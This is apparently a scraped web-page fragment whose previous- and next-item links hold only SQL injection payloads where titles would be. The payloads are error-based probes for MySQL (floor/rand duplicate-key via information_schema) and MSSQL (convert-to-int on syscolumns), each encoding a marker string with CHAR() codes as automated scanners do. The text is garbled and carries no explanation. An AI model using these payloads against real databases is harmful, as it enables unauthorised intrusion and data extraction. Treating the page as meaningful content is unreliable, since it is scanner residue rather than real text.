(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(121),CHAR(48),CHAR(80),CHAR(76),CHAR(115),CHAR(118),CHAR(99),CHAR(109)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
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上一条:
and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(121),CHAR(48),CHAR(80),CHAR(76),CHAR(115),CHAR(118),CHAR(99),CHAR(109)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and 下一条:
(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(121)+CHAR(48)+CHAR(80)+CHAR(76)+CHAR(115)+CHAR(118)+CHAR(99)+CHAR(109)) FROM syscolumns)

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